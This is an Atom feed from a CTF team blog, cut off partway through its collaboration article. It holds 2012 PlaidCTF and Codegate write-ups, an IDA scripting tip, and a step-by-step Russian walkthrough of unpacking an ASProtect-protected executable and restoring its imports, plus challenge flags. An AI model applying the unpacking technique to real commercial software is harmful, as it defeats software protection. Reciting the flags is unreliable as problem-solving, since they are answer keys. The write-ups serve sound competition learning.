<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>/var/log/smokedchicken.log</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/" />
    <link rel="self" type="application/atom+xml" href="http://smokedchicken.org/atom.xml" />
    <id>tag:smokedchicken.org,2009-12-10://1</id>
    <updated>2012-05-05T15:59:45Z</updated>
    
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type 5.12</generator>

<entry>
    <title>IDA: rename locals from a script</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/05/ida-rename-local-from-a-script.html" />
    <id>tag:smokedchicken.org,2012://1.81</id>

    <published>2012-05-05T15:38:23Z</published>
    <updated>2012-05-05T15:59:45Z</updated>

    <summary><![CDATA[IDA represents stack frame as a structure. So you need to convert frame offset to structure offset and call SetMemberName. The following code snapshot demonstrates that. # find next &quot;mov xxx, eax&quot; instruction def get_next_eax_store(ea): temp_ea = ea max_steps =...]]></summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="Tools watch" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ida" label="ida" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[IDA represents stack frame as a structure. So you need to convert frame offset to structure offset and call SetMemberName. <br/><br/>

The following code snapshot demonstrates that.
<pre class="brush: python">
# find next &quot;mov xxx, eax&quot; instruction
def get_next_eax_store(ea):
	temp_ea = ea
	max_steps = 10
	for step in range(0, max_steps):
		temp_ea = idc.NextHead(temp_ea) # get next instruction
		idaapi.decode_insn(temp_ea)     #decode it
		if idaapi.cmd.itype == idaapi.NN_mov and idaapi.cmd.Op2.type == idaapi.o_reg:
			return idaapi.cmd, temp_ea
			break
	return 0, temp_ea
...
cmd, addr = get_next_eax_store(ea)
if cmd != 0 and cmd.Op1.type == idaapi.o_phrase: # take only &quot;mov [ebp-xxx],eax&quot; instructions
	sid = idc.GetFrame(ea)
	if sid != None:
		offset = idc.GetFrameLvarSize(ea) - (~(int(cmd.Op1.addr) - 1) &amp; 0xFFFFFFFF)
		idc.SetMemberName(sid, offset, &quot;NewLocalName&quot;)

</pre>

The salt is 
<pre class="brush: python">
offset = GetFrameLvarSize(ea) - (~(int(cmd.Op1.addr) - 1) &amp; 0xFFFFFFFF)
</pre>

The cmd.Op1.addr (from command "mov [ebp-0x14]") contains -0x14, or 0xFFFFFFEC. Minus 1, then invert converts complement code to true form, & 0xFFFFFFFF is python trick to get valid positive number. So it produces 0x14 for initial value -0x14. Then subtract it from size of local vars, and get a structure offset which can be use as SetMemberName argument.
]]>
        
    </content>
</entry>

<entry>
    <title>PlaidCTF 2012 - Mess [300]</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/05/plaidctf-2012---mess-300.html" />
    <id>tag:smokedchicken.org,2012://1.80</id>

    <published>2012-05-02T15:45:09Z</published>
    <updated>2012-05-02T15:51:28Z</updated>

    <summary>It was real &quot;structured programming&quot; task. Code contains lots of function, but there no direct xrefs. Control is passed from function to function via pointers in structs. Typical struct has the following format: +0: function pointer +4: function arguments ......</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf" label="plaidctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf2012" label="plaidctf 2012" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[It was real "structured programming" task. Code contains lots of function, but there no direct xrefs. Control is passed from function to function via pointers in structs.<br/><br/>

Typical struct has the following format:
<pre class="brush: text">
    +0: function pointer
    +4: function arguments
    ...
</pre>

Each structure has a helper procedure that allow to "execute" struct, i.e. call function with specified parameters. For example,

<pre class="brush: cpp">
int exec_struct6_runtime_if_2(struc_6 *pStruct)
{
    return pStruct-&gt;proc(pStruct-&gt;bWhatChar,
        pStruct-&gt;piResult,
        pStruct-&gt;chBrainfuckChar,
        pStruct-&gt;TrueProc,
        pStruct-&gt;FalseProc);
}
</pre>

There was 6 different structs that are correspond to input sequence, brainfuck sequence, and control flow management.<br/><br/>

File has simple anti-debug (ptrace) trick, and two brainfuck-like sequences (for debug and non-debug sessions). A program interprets brainfuck sequence and modifies only one memory cell:  + increments it, > multiplies it by 2, < divides it by 2. Each non-control (+<>) symbol forces interpreter to check user input sequence: current symbol from user input is XOR'ed with values from memory cell. If the result is equal to 'a', then loop is continued and memory cell is cleared. Else, interpreter stops and reports error.<br/><br/>

The following code snapshot decodes the flag:
<pre class="brush: cpp">
int result = 0;
int counter = 0;

for (int i = 1; i &lt; bf_len; i++)
{
    char c = bf[i];
    if ((c &amp; 0x80) != 0)
        c = ~c;

    if (c == '+')
        result++;
    else if (c == '&gt;')
        result &gt;&gt;= 1;
    else if (c == '&lt;')
        result *= 2;
    else
    {
        pass[counter] = 'a' ^ result;
        result = 0;
        counter++;
    }
}
</pre>

Without a debugger we get the following: ar3n't_funct10n_p01nt3rs_fun?<br/><br/>
Under debugger output is different: d3bugg3rs_ar3_just_t00_us3ful]]>
        
    </content>
</entry>

<entry>
    <title>PlaidCTF 2012 - Override [300]</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/05/plaidctf-2012---override-300.html" />
    <id>tag:smokedchicken.org,2012://1.79</id>

    <published>2012-05-02T15:27:41Z</published>
    <updated>2012-05-11T07:36:32Z</updated>

    <summary>Obfuscated x64 binary. Very small amount of code is split into chunks that are linked together via jmp | push + jmp and &quot;high-level&quot; constructions like this: mov rdx, offset InputData push offset trim_password mov rcx, offset _strlen jmp @jmp_via_ecx...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf" label="plaidctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf2012" label="plaidctf 2012" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[Obfuscated x64 binary. Very small amount of code is split into chunks that are linked together via jmp | push + jmp and "high-level" constructions like this:

<pre class="brush: asm">
mov rdx, offset InputData
push offset trim_password
mov rcx, offset _strlen
jmp @jmp_via_ecx
...
@jmp_via_ecx:
mov rdi, rdx
push ecx
jmp do_ret

@do_ret:
ret
</pre>

Bring things together:

<pre class="brush: asm">
mov rdx, offset InputData
push offset trim_password ; retaddr
mov rcx, offset _strlen   ; destination
mov rdi, rdx
jmp ecx
</pre>

Or, more clear

<pre class="brush: asm">
mov rdi, offset InputData
push offset trim_password ; retaddr
jmp qword ptr [_strlen]   ; destination
</pre>

After de-obfuscation, code becomes more readable.</br></br>

First, seed value is calculated:
seed = 940903 * 659 * -3;</br></br>

Then srand(seed) is called, and console is read using fgets(InputData, 80, STDIN). Each symbol from user input (InputData array) is compared with an one symbol of the Key sequence:
<pre class="brush: text">
Rh|hx6VPJXwt7b%YUh3|ku9!Nnl#p-B*fjKUrA:r83Alg3KMjoiWA%P-8Xo5R%^:
</pre>
Position is determined by rand() calling. In other words,
<pre class="brush: cpp">
InputData[i] == Key[rand() % 64] ? continue : exit()
</pre>
After full comparison, length of InputData is considered, and successful result is only possible if length of InputData is 64.</br></br>

The following code snapshot allow to encode the flag:

<pre class="brush: cpp">
char input[] = &quot;Rh|hx6VPJXwt7b%YUh3|ku9!Nnl#p-B*fjKUrA:r83Alg3KMjoiWA%P-8Xo5R%^:&quot;;
char result[sizeof(input)];

int seed = 940903 * 659 * -3;
srand(seed);

for (int i = 0; i &lt; sizeof(input) - 1; i++)
{
    result[i] = input[rand() % 64];
}
result[sizeof(input) - 1] = '\0';
printf(&quot;%s\n&quot;, result);
</pre>

Output:
Bg8Ph#xnr||l*YjV|9K#RRfh6XhnhK8*%f:h5AAUgg%t5K3%xRnR%Xh|iU#W6h3k]]>
        
    </content>
</entry>

<entry>
    <title>PlaidCTF 2012 - Debit or Credit [200]</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/05/plaidctf-2012---debit-or-credit-200.html" />
    <id>tag:smokedchicken.org,2012://1.78</id>

    <published>2012-05-02T04:55:13Z</published>
    <updated>2012-05-02T08:24:18Z</updated>

    <summary>From the name of the task and the description we guess that it is the data from a card reader similar to the &quot;Square&quot;. The technical details about encoding are desribed here: http://stripesnoop.sourceforge.net/devel/phrack37.txt In short: Magnetic stripe + Aiken Biphase...</summary>
    <author>
        <name>盗賊</name>
        <uri>http://maratto.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf" label="plaidctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf2012" label="plaidctf 2012" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>From the name of the task and the description we guess that it is the data from a card reader similar to the "<a href="http://www.squareup.com">Square</a>".</p>

<p>The technical details about encoding are desribed here:
<a href="http://stripesnoop.sourceforge.net/devel/phrack37.txt">http://stripesnoop.sourceforge.net/devel/phrack37.txt</a>
</p>

<p>
In short: Magnetic stripe + Aiken Biphase encoding + ANSI BCD encoding = key
</p>]]>
        <![CDATA[First, visualize the wav with, say, audacity. Counting the peaks we get the raw data (0s ans 1s). Two opposite peaks stand for 1, and one wide peak stands for 0. Mind that the width of 1 and 0 is the same.

The raw data
<pre class="brush: plain">00000110101100110000110011100111100100001010111100111110100000000</pre>

This data of magnetic strip could be encoded in several formats (depending on the track).

Let's try the 5-bit Binary Coded Decimal format (Track 2):
<pre class="brush: plain">
--Data	Bits--	Parity	
b1	b2	b3	b4	b5	Character	Function
0	0	0	0	1	0 (0H)		Data	
1	0	0	0	0	1 (1H)		&quot;	
0	1	0	0	0	2 (2H)		&quot;	
1	1	0	0	1	3 (3H)		&quot;	
0	0	1	0	0	4 (4H)		&quot;	
1	0	1	0	1	5 (5H)		&quot;	
0	1	1	0	1	6 (6H)		&quot;	
1	1	1	0	0	7 (7H)		&quot;	
0	0	0	1	0	8 (8H)		&quot;	
1	0	0	1	1	9 (9H)		&quot;	
0	1	0	1	1	: (AH)		Control	
1	1	0	1	0	; (BH)		Start	Sentinel	
0	0	1	1	1	&lt; (CH)		Control	
1	0	1	1	0	= (DH)		Field	Separator	
0	1	1	1	0	&gt; (EH)		Control	
1	1	1	1	1	?(FH)		End	Sentinel
</pre>


Let's try decoding. LSB goes first.
<pre class="brush: plain">
00000 11010 11001 10000 11001 11001 11100 10000 10101 11100 11111 01000 00000
Clock Start   3     1     3     3     7     1     5     7   End     
</pre>
It seems that the credit card data is <strong>31337157</strong>. It is the answer.]]>
    </content>
</entry>

<entry>
    <title>PlaidCTF 2012 - Game [100] </title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/05/plaidctf-2012---game-100.html" />
    <id>tag:smokedchicken.org,2012://1.77</id>

    <published>2012-05-02T03:45:51Z</published>
    <updated>2012-05-02T14:00:03Z</updated>

    <summary>The game is very simple. 2 long strings are shown, you have to select which one is bigger. Short analysis of the strings didn&apos;t show any anomalities, so we just decided to collect all the string and remember their positions...</summary>
    <author>
        <name>盗賊</name>
        <uri>http://maratto.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf" label="plaidctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="plaidctf2012" label="plaidctf 2012" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        The game is very simple.
2 long strings are shown, you have to select which one is bigger.

Short analysis of the strings didn&apos;t show any anomalities, so we just decided to collect all the string and remember their positions against each other.

So we write an automated player. There are only 500 strings. A naive sorting approach will give us 500*499 comparisons, so we just left it as is for a couple of hours. You can definitely afford it during the 48hrs competition.
        <![CDATA[Source code of the player:
<pre class="brush: perl">
use Socket;
use Data::Dumper;

socket IO,PF_INET,SOCK_STREAM,getprotobyname('tcp');
connect IO,sockaddr_in(6969,inet_aton &quot;23.22.16.34&quot;) or die &quot;can't connect\n&quot;;
print &quot;Connected\n&quot;;
my $r; # Read buffer
my @rate = @{do 'rate.pl'}; # DB

my $got = 0;

while($got!=75){
	$c = sysread IO,$r,1024;
	($got) = $r=~/gotten (\d+) /s;
	my ($c1,$c2) = $r =~/(\w{34}).*(\w{34})/s; # Strings to compare
	$c = sysread IO,$r,1024 if $r!~/Which/s;
	my $c1r = in($c1,@rate); # Absolute ranking of c1
	my $c2r = in($c2,@rate); # Absolute ranking of c2
	my $an;
	if ($c1r==-1 || $c2r==-1) { 
		$an =1;
	}else{
    		$an = $c1r&gt;$c2r?1:2;
	}
	syswrite IO,&quot;$an\r\n&quot;;
	$c = sysread IO,$r,1024;
	if($r =~/Wrong/s){
		# C2 is known, C1 is unknown
		splice @rate, $c2r, 0, $c1 if $c1r==-1 &amp;&amp; $c2r!=-1; 
		# C1 is known, C2 is unknown
		splice @rate, $c1r+1, 0, $c2 if $c2r==-1 &amp;&amp; $c1r!=-1;
		# Both are unknown, just put it on the top
		splice @rate,$#rate+1,0,($c1,$c2) if $c1r==-1 &amp;&amp; $c2r==-1; 
		# Both are known, sort
		if($c1r!=-1 &amp;&amp; $c2r!=-1) { 
			if($an==1){
				# moving c1 to the left of c2 
				splice @rate,$c2r,0,$rate[$c1r];
				splice @rate,$c1r+1,1;
			}
			if($an==2){
				# moving c2 to the left of c1 
				splice @rate,$c1r,0,$rate[$c2r];
				splice @rate,$c2r+1,1;
			}
		}
	}
	if($r=~/Correct/s){
		print &quot;$r\n&quot; if $got==75;
		
		#C2 is known, C1 is unknown
		splice @rate, $c2r+1, 0, $c1 if $c1r==-1 &amp;&amp; $c2r!=-1;
		# C1 is known, C2 is unknown
		splice @rate, $c1r, 0, $c2 if $c2r==-1 &amp;&amp; $c1r!=-1;
		# Both are unknown
		splice @rate,$#rate+1,0,($c2,$c1) if $c1r==-1 &amp;&amp; $c2r==-1;
	}

	# Backing up
	open F,'&gt; rate.pl';
	print F Dumper(\@rate);
	close F;
}

sysread IO,$r,1024;
print $r;

# Returns -1 if an element is not in the array, return position otherwise
sub in($@) {
	for(my$i=1;$i&lt;scalar @_;$i++){
		return $i if $_[0] eq $_[$i];
	}
	-1;
}
</pre>

If you apply some smart sorting algo with some self-sorting heap, you might get much faster results. But in CTF it is all about answers :)

After you win, you get the key "d03snt_3v3ry0n3_md5!!!".]]>
    </content>
</entry>

<entry>
    <title>CODEGATE 2012 Prob #1</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/04/codegate-2012-prob-1.html" />
    <id>tag:smokedchicken.org,2012://1.75</id>

    <published>2012-04-07T13:06:06Z</published>
    <updated>2012-04-08T12:49:31Z</updated>

    <summary>I&apos;ve lost my source code! Fortunately, I have a test program. But, Test program is not perfect. Please, I need your help. Дан архив 49F69C55C47B4AA87059F3EEF391F5A7 с запакованным ASProtect исполняемым файлом и запароленным ZIP-архивом внутри. Распакуем ASProtect....</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="codegate" label="codegate" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[I've lost my source code!<br/>
Fortunately, I have a test program.<br/>
But, Test program is not perfect.<br/>
Please, I need your help.<br/>
<br/>

Дан архив <a href="http://smokedchicken.org/2012/04/07/49F69C55C47B4AA87059F3EEF391F5A7">49F69C55C47B4AA87059F3EEF391F5A7</a> с запакованным ASProtect исполняемым файлом и запароленным ZIP-архивом внутри.

Распакуем ASProtect. ]]>
        <![CDATA[Загружаем в Olly, на точке входа видим стартовый код ASProtect:
<pre class="brush: asm">
00401000 &gt;/$ 68 01D04000    PUSH test_pas.0040D001
00401005  |. E8 01000000    CALL test_pas.0040100B
0040100A  \. C3             RETN
0040100B   $ C3             RETN
</pre>

Ставим бряк на GetProcAddress и хардварный на исполнение на 00401000. Запускаем.

Брякаемся на GetProcAddress:

<pre class="brush: text">
0012FF28   00462090  CALL to GetProcAddress from test_pas.0046208A
0012FF2C   75DC0000  hModule = 75DC0000 (kernel32)
0012FF30   004627A9  ProcNameOrOrdinal = &quot;VirtualAlloc&quot;
0012FF34   0042F000  test_pas.0042F000
0012FF38   00220000
0012FF3C   0040D0FF  RETURN to test_pas.0040D0FF from test_pas.0040D0FF
</pre>

Пропускаем первые два вызова - получение адресов VirtualAlloc / VirtualFree. Следующий останов - обработка адресов импорта:

<pre class="brush: text">
0012FF24   00462513  /CALL to GetProcAddress from test_pas.0046250D
0012FF28   75DC0000  |hModule = 75DC0000 (kernel32)
0012FF2C   0045D37C  \ProcNameOrOrdinal = &quot;GetCurrentThreadId&quot;
0012FF30   0045D37C  ASCII &quot;GetCurrentThreadId&quot;
0012FF34   0042F000  test_pas.0042F000
</pre>

Выходим из GetProcAddress, попадаем в цикл заполнения адресов:

<pre class="brush: asm">
00462513   85C0             TEST EAX,EAX
00462515   5B               POP EBX                         ; test_pas.0045D37C
00462516   75 6F            JNZ SHORT test_pas.00462587
...
00462587   8907             MOV DWORD PTR DS:[EDI],EAX      ; kernel32.GetCurrentThreadId
00462589   8385 51294400 04 ADD DWORD PTR SS:[EBP+442951],4
</pre>

EDI = 0045D104 указывает на часть IAT. Ставим точки останова на выход из цикла

<pre class="brush: asm">
004625AB   8B85 652A4400    MOV EAX,DWORD PTR SS:[EBP+442A65]
</pre>

и получаем первый кусок импортов:

<pre class="brush: text">
0045D104  75E0C410  kernel32.GetCurrentThreadId
0045D108  77949A55  ntdll.RtlDeleteCriticalSection
...
0045D360  768E3EB8  WS2_32.socket
0045D364  768E3AB2  WS2_32.WSAStartup
0045D368  00000000
</pre>

Восстанавливаем точку останова на GetProcAddress и попадаем на код формирования второго куска импортов:

<pre class="brush: asm">
00457EB4   E8 87CAFDFF      CALL test_pas.00434940         ; JMP to kernel32.GetProcAddress
00457EB9   8907             MOV DWORD PTR DS:[EDI],EAX
00457EBB   83C7 04          ADD EDI,4
00457EBE   83C6 04          ADD ESI,4
00457EC1   83C3 04          ADD EBX,4
00457EC4   FF4D F8          DEC DWORD PTR SS:[EBP-8]
00457EC7  ^75 C2            JNZ SHORT test_pas.00457E8B
00457EC9   68 80804500      PUSH test_pas.00458080         ; ASCII &quot;NTDLL.DLL&quot;
</pre>

После останова на 00457EC9 получим второй кусок:

<pre class="brush: text">
0045B9EC  75E0CC94  kernel32.GetProcAddress
0045B9F0  75E0DC65  kernel32.LoadLibraryA
0045B9F4  75E093DB  kernel32.MapViewOfFile
...
0045BA18  75E0C43A  kernel32.VirtualAlloc
0045BA1C  75E16B15  kernel32.VirtualFree
0045BA20  75E0D7B5  kernel32.GetCurrentProcessId
</pre>

Далее будет происходит формирование 3-го куска импортов, но он размазан в лапше переходов и получения адресов вспомогательных функций. Поэтому, лучше запустить на выполнение, и остановиться по исключению или при выполнении команды по адресу 00401000. Затем запустить ImpRec и воспользоваться автопоиском. ImpRec находит 3-й кусок импортов по адресу 00405000.

<pre class="brush: text">
00405000  77942D66  ntdll.RtlAllocateHeap
00405004  75E18EAF  kernel32.GetCommandLineA
00405008  75E028F1  kernel32.GetVersion
...
00405084  0044BC38  test_pas.0044BC38
...
004050A8  75E1532E  kernel32.GetStringTypeW
004050AC  00000000
</pre>

Один адрес съеден ASProtect'ом, идем по 0044BC38:

<pre class="brush: asm">
0044BC38   55               PUSH EBP
0044BC39   8BEC             MOV EBP,ESP
0044BC3B   8B55 0C          MOV EDX,DWORD PTR SS:[EBP+C]
0044BC3E   8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]
0044BC41   3B05 9CA54500    CMP EAX,DWORD PTR DS:[45A59C]
0044BC47   75 09            JNZ SHORT test_pas.0044BC52
0044BC49   8B0495 9CA54500  MOV EAX,DWORD PTR DS:[EDX*4+45A59C]
0044BC50   EB 07            JMP SHORT test_pas.0044BC59
0044BC52   52               PUSH EDX
0044BC53   50               PUSH EAX
0044BC54   E8 E78CFEFF      CALL test_pas.00434940      ; JMP to kernel32.GetProcAddress
0044BC59   5D               POP EBP
0044BC5A   C2 0800          RETN 8
</pre>

Очевидно, это переходник к GetProcAddress. Фиксим в ImpRec. Добавляем к найденному импорту куски 1 и 2.
<br/>
Теперь можно дойти до 00401000 по хардварному брейкпоинту, делать дамп, и чинить импорт у дампа в ImpRec. Почти все сделано, осталось найти OEP и пофиксить API, "виртуализованные" протектором.
<br/><br/>
Открываем дамп в IDA, применяем сигнатуру Microsoft VisualC 2-10/net runtime, получаем точку входа 004011EF (_mainCRTStartup) и main по адресу 00401000.
<br/>
Восстановим "виртуализованные" API.

<pre class="brush: asm">
0040125E  |. E8 C1180000    CALL test_pas.00402B24
00401263  |. E8 9CED1C01    CALL 015D0004
00401268  |. D8A3 00C74000  FSUB DWORD PTR DS:[EBX+40C700]
...
015D0004   FF0424           INC DWORD PTR SS:[ESP]
015D0007   3E:EB 02         JMP SHORT 015D000C            ; Superfluous prefix
015D000A   CD 20            INT 20
015D000C  -E9 EFFFFEFF      JMP 015C0000
...
015C0000   A1 8C47C075      MOV EAX,DWORD PTR DS:[75C0478C]
015C0005   C3               RETN
</pre>

Схема работы: 5-ти байтный CALL 015D0004 вызывает переходник, который правит адрес возврата на 1 (INC [ESP]), и отдает управление на начало предыдущего блока (10000h). Другими словами, для 015D000C код "виртуализованной" функции следует искать на 015C0000. Это общая схема. ASProtect может полностью утащить функцию к себе в буфер, если она короткая, или ее начало.
<br/><br/>
В первом случае, нужно скопировать код (Binary | Binary copy в Olly) и выполнить поиск бинарной строки в памяти, а затем найти полученный адрес в импорте DLL (View | Executable Modules, View Name)

<pre class="brush: text">
75BCEE6A &gt;A1 8C 47 C0 75 C3 90 90                          ЎЊGАuГђђ

Names in KERNELBA, item 639
 Address=75BCEE6A
 Section=.text
 Type=Export  (Known)
 Name=GetCommandLineA
</pre>

Во втором случае, когда украдена часть функции, находим адрес внутри API, куда ASProtect отдает управление (75BD3C05), прокручиваем до начала функции (75BD3BFC) и находим ее в экспорте:

<pre class="brush: asm">
004024CC   . E8 33DB2001    CALL 01610004
004024D1   . 6F             OUTS DX,DWORD PTR ES:[EDI]                ;  I/O command
...
01600000   8BFF             MOV EDI,EDI
01600002   55               PUSH EBP
01600003   8BEC             MOV EBP,ESP
01600005   5D               POP EBP
01600006   8BFF             MOV EDI,EDI
01600008   55               PUSH EBP
01600009   8BEC             MOV EBP,ESP
0160000B   837D 08 00       CMP DWORD PTR SS:[EBP+8],0
0160000F   68 053CBD75      PUSH 75BD3C05
01600014   C3               RETN
...
75BD3BFC &gt; 8BFF             MOV EDI,EDI
75BD3BFE   55               PUSH EBP
75BD3BFF   8BEC             MOV EBP,ESP
75BD3C01   837D 08 00       CMP DWORD PTR SS:[EBP+8],0
75BD3C05   0F84 AA670100    JE KERNELBA.75BEA3B5

Names in KERNELBA, item 677
 Address=75BD3BFC
 Section=.text
 Type=Export  (Known)
 Name=TerminateProcess
</pre>

После определения адреса API, ищем его в кусках импорта, и заменяем вызов переходника на прямой вызов импорта:

<pre class="brush: asm">
CALL 01610004 -&gt; CALL DWORD PTR [00405030]
</pre>

После правки всех переходников, получаем рабочий <a href="http://smokedchicken.org/2012/04/07/dump-working.ex_">сэмпл</a>.
<br/><br/>
Изучаем распакованный код, main тривиальна и бессмысленна:

<pre class="brush: cpp">
int main(int argc, const char **argv, const char **envp)
{
  FILE *f;
  int h;
  size_t length;
  void *buffer;

  f = fopen(&quot;password.enc&quot;, &quot;rb&quot;);
  fopen(&quot;password.c&quot;, &quot;wb&quot;);
  h = fileno(f);
  length = filelength(h);
  buffer = malloc(length);
  malloc(length);
  fread(buffer, length, 1, f);
  return fcloseall();
}
</pre>
<br/><br/>
По задумке авторов, задание следовало решать так.
<br/><br/>
Если посмотреть на окрестности строк "password" в секции данных, то можно заметить, что находится кусок ZIP архива - такой же конец имеет запароленный архив password.enc.

<pre class="brush: text">
.0040A8F0:  85 3F 51 1D.BE 82 7A 48.00 00 37 EB.00 00 0A 00  Е?Q↔╛ВzH  7ы  ◙
.0040A900:  00 00 00 00.00 00 01 00.20 00 00 00.00 00 00 00        ☺
.0040A910:  70 61 73 73.77 6F 72 64.2E 63 50 4B.05 06 00 00  password.cPK♣♠
.0040A920:  00 00 01 00.01 00 38 00.00 00 B2 48.00 00 00 00    ☺ ☺ 8   ▓H
</pre>

Поксорив кусок с адреса 00406030 с password.enc получим исполняемый файл, который выводит строку The_Art_of_The_War, которая, судя по всему, и является ответом.
<br/><br/>
Спасибо PPP за наводку на XOR.]]>
    </content>
</entry>

<entry>
    <title>Team collaboration during CTF competitions</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/04/team-collaboration-during-ctf-competitions.html" />
    <id>tag:smokedchicken.org,2012://1.74</id>

    <published>2012-04-04T19:16:51Z</published>
    <updated>2012-04-05T23:59:12Z</updated>

    <summary>(russian version) No, that&apos;s not about Quake. This article will be useful for young teams, who&apos;ve already tried to participate in CTFs. If you don&apos;t know what CTF (Capture The Flag) means, CTF is a competition in information security field....</summary>
    <author>
        <name>kyprizel</name>
        <uri>http://www.kyprizel.net</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="collaboration" label="collaboration" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>(<a href=http://habrahabr.ru/post/141312/#habracut>russian version</a>)</p>

<p>No, that's not about Quake. This article will be useful for young teams, who've already tried to participate in CTFs.<br />
If you don't know what CTF (Capture The Flag) means, CTF is a competition in information security field. The goal is getting so called "flags" which score you points.</p>

<p>The competition is usually held in the following formats or their variations:<br />
<ul><li><b>Classic</b>: teams search for vulnerabilities in rival's infrastructure, attack them and retrieve flags, while defending their own infrastructure at the same time.</li><li><b>Jeopardy</b>: teams solve tasks of various complexity and <br />
retrieve flags from them.</li></ul></p>

<p>A competition lasts for 24-48hrs, non-stop, which requires participants to have strong skills and experience. One of the most crucial factors is the ability to share information in real-time. Thus CTF can be considered a model of a time-condensed process, implying data analysis, brainstorming, vulnerabilities search and exploitation, as well as software development.<br />
</p>]]>
        <![CDATA[<p>Our team called <b>More Smoked Leet Chicken</b> has been combined of two Russian teams - <b>Smoked chicken</b> and <b><a href="http://ctf.su/">Leet More</a></b>. The team has wide experience of winning and successfully performing  in various international competitions, such as <a href="http://ictf.cs.ucsb.edu/">iCTF</a>, <a href="http://defcon.org/">Defcon CTF</a>, <a href="http://codegate.org/">Codegate</a>, Mozilla CTF, <a href="http://plaidctf.org">Plaid CTF</a>, etc.</p>

<p>Depending on the importance of the competition, the number of team members may vary from 5 to 15 persons. Since most of the team's members reside all around the globe, we need an efficient means of communication via Internet.</p>

<p>We used to use IRC for tasks discussion for a long time. During CTF it's often required to share files, source codes, discuss tasks in context, so Google Wave became a very useful tool for us. Still it had its disadvantages, such as frequent failures of big waves, so it couldn't completely replace IRC. After a while we rejected IRC for Skype+GWave set. Skype allowed quick file sharing and voice communication, but the discussion itself still used to take place apart from the knowledge base we had. The knowledge base also was not structured, the wave contained only short digests. Even though GWave was far from ideal, suitable rather for entertainment than for active case discussion, we were satisfied with it.</p>

<p><a href="http://habrastorage.org/storage2/8e8/0d4/4d1/8e80d44d194f6e59b00bff6931366954.png"><img src="http://habrastorage.org/storage2/50c/f57/c6a/50cf57c6a5b7d75d89de272da429cce4.png"/></a> <a href="http://habrastorage.org/storage2/7a9/f5a/9e8/7a9f5a9e813a26f229cd380710808360.png"><img src="http://habrastorage.org/storage2/ba6/83d/c6c/ba683dc6c5840bcde90ab8d903f43607.png"/></a></p>

<p>Unfortunately, Google Wave has been switched to read-only in 2012, and will be closed soon. Thus, we needed a new convenient tool.</p>

<p>We tried "Walkaround" and "Wave in a box", but in terms of stability and reliability they were way too far from their ancestor. So we signed up for <a href="http://rizzoma.com">Rizzoma.com</a> since they were able to take all the best from GWave and get rid of unnecessary things. It was not a social network with real-time text editor, rather a real-time cooperation tool with all the rest features serving as addons.</p>

<p>Even though Rizzoma still can't replace Skype, current data editing and structuring mechanisms were good enough for us.</p>

<p>We created our own method for data structuring, that is, color coding. In case of Jeopardy CTF, all the tasks are divided into categories depending on their topic. In Classic CTF the structure depends on the amount and type of services.</p>

<p><a href="http://habrastorage.org/storage2/402/74a/210/40274a210537946d189afcac9cb4f8f0.png"><img src="http://habrastorage.org/storage2/be6/0d7/6d6/be60d76d6f40f020dfe60e398a5d1b24.png"/></a></p>

<p>Discussions (either voice or text-based) take place in Skype. Team members can spare into groups for discussing specific tasks if necessary. The results of the discussions (knowledge base) are later posted to Rizzoma for other team members to read.</p>

